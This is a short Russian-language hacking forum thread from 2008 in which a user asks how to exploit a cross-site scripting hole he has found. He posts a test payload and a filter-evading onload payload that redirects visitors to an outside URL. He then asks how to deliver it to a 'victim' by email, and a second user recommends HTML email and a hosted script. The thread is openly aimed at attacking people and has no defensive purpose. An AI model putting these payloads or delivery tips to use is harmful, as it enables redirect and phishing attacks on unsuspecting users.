дайте совет по использованию Xss

Discussion in 'Болталка' started by zloy_admin, 10 Jan 2008.

  1. zloy_admin

    zloy_admin Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    Нашел где срабатывает
    Code:
    <BODY ONLOAD=alert('XSS')>
    это всё в ХТМЛ
    как это можно применить?

    желаемый эффект:
    автоматическое открытие определенного урл.
    Вот только проблема: слово 'script' съедает фильтр
     
    #1 zloy_admin, 10 Jan 2008
  2. zloy_admin

    zloy_admin Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    вобщем нашел решение сам:
    HTML:
    <BODY ONLOAD=location.replace("http://www.new.site/page.html")>
    теперь возникла проблема №2:
    Как отправить это жертве по почте?
    Если я это делаю через вэб-интерфейс, то код исполняется сразу же у меня локально.....
    Что посоветуете?
     
    #2 zloy_admin, 10 Jan 2008
  3. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    попробуй отправить письмом в html скриптами
     
    #3 Хозяин, 10 Jan 2008
  4. zloy_admin

    zloy_admin Elder - Старейшина

    Joined:
    4 Jan 2008
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    кстати, может есть подобный он-лайн сервис?
     
    #4 zloy_admin, 10 Jan 2008
  5. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Да епт повесь скриптец на хост и радуйся, здесь выкладывали. и пользуйся когда надо сам
     
    #5 Хозяин, 10 Jan 2008
(You must log in or sign up to post here.)